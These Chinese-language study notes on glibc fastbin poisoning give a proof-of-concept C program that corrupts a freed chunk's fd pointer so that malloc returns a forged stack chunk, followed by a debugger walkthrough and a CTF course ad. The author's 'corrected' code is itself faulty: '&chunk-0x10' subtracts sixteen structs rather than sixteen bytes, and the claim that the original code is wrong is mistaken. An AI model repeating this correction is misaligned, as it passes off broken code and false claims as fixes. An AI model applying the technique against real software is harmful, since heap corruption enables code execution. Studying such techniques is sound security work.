本文是对Heap Exploitation原文的学习笔记的第一篇,之后会陆续更新。第一次写,多多包涵。看不懂的地方,可以对比我贴出来的调试详情。
在堆块被释放后,它被插入到一个binlist中。但是,指针在程序中仍然可用。如果攻击者控制了这个指针,攻击者可以在容器中修改链表结构并插入自己的“伪造”块。下面的示例程序展示了如何在fastbin freelist中实现这一点。
原文中的代码有错误
原文的代码
struct forged_chunk {
size_t prev_size;
size_t size;
struct forged_chunk *fd;
struct forged_chunk *bck;
char buf[10]; // padding
};
// First grab a fast chunk
a = malloc(10);
// Create a forged chunk
struct forged_chunk chunk;
chunk.size = 0x20;
data = (char *)&chunk.fd; // Data starts here for an allocated chunk
strcpy(data, "attacker's data");
// Put the fast chunk back into fastbin
free(a);
// Modify 'fd' pointer of 'a' to point to our forged chunk
*((unsigned long long *)a) = (unsigned long long)&chunk;
// Remove 'a' from HEAD of fastbin
// Our forged chunk will now be at the HEAD of fastbin
malloc(10);
victim = malloc(10);
printf("%s\n", victim); // Prints "attacker's data" !!
修改后的代码
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
int main(void)
{
struct forged_chunk {
size_t prev_size;
size_t size;
struct forged_chunk *fd;
struct forged_chunk *bck;
char buf[10]; // padding
};
unsigned long long *a,*victim;
//struct forged_chunk *victim;
//
char *data;
// First grab a fast chunk
a = malloc(10);
// Create a forged chunk
struct forged_chunk chunk;
chunk.size = 0x20;
data = &chunk.fd; // Data starts here for an allocated chunk
strcpy(data, "attacker's data");
// Put the fast chunk back into fastbin
free(a);
// Modify 'fd' pointer of 'a' to point to our forged chunk
*((unsigned long long *)a) = ((unsigned long long)&chunk-0x10);//此处与原文不同
// Remove 'a' from HEAD of fastbin
// Our forged chunk will now be at the HEAD of fastbin
malloc(10); // Will return 0x219c010
victim = malloc(10);// Points to 0x7ffc6de966a0
printf("%s\n",*victim);//此处与原文不同,Prints "attacker's data" !!
//printf("%s\n",attack);
return 0;
}
伪造块的大小参数设置为0x20,以便通过安全检查“malloc():内存损坏(快速)”。这个检查检查块的大小是否在特定fastbin的范围内。另外,请注意,分配块的数据是从'fd'指针开始的。这一点在上面的程序中也很明显,而我们另a指向chunk时指向的是fd向上0x10
(0x8+0x8)字节位置,要减去这个偏移,在原文中没有减去。
攻击过程
1.'a'freed
head->a->tail
2.a->fd被指向'forged chunk'
head->a->forged_chunk->undefined(forged_chunk->fd实际上会指向attacker的数据)
3.‘malloc’reguest
head->forged_chunk->undefined
4.'malloc'reguest by victim
head->undefined
调试过程
" href="#1 ">1
设置断点,开始调试。
程序运行到第一个malloc,给a分配堆。
继续运行,从stack中可以看出a地址为0x7ffffffdc98,指向地址为0x555555756260的堆。代码继续运行。
struct forged_chunk chunk;
chunk.size = 0x20;
有汇编指令可以看出chunk.size的地址。查看地址内的数据是否如我们所想已改为0x20
data = (char *)&chunk.fd;
strcpy(data, "attacker's data");
执行完这两句代码后可以得到chunk的fd指针地址,也就是后来我们利用的地址。这次我们向该地址写入一个字符串地址。
free(a)
对应过程head -> a -> tail
*((unsigned long long *)a) = ((unsigned long long)&chunk-0x10);
对应过程head -> a -> forged chunk -> undefined (fd of forged chunk will in fact be holding attacker's data)
可以看出a指向0x555555756260,也就是说虽然free(a),但实际上程序中a还是一样可以使用的。这条代码实际上是将chunk.fd的地址放到了0x555555756260。这里为啥要减去0x10,请看这个图。chunk的地址是图中的men所指的地方,与fd有0x10的偏移。(https://bbs.pediy.com/thread-224836.htm,从这盗的图)。
malloc(10);
对应head -> forged chunk -> undefined
victim = malloc(10);
对应head -> undefined [ forged chunk is returned to the victim ]。通过这次操作victim指向了chunk.fd
victim->chunk.fd->data->"字符串"
printf("%s\n", * victim);//代码取victim保存的地址中的值作为字符串地址传给printf.
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界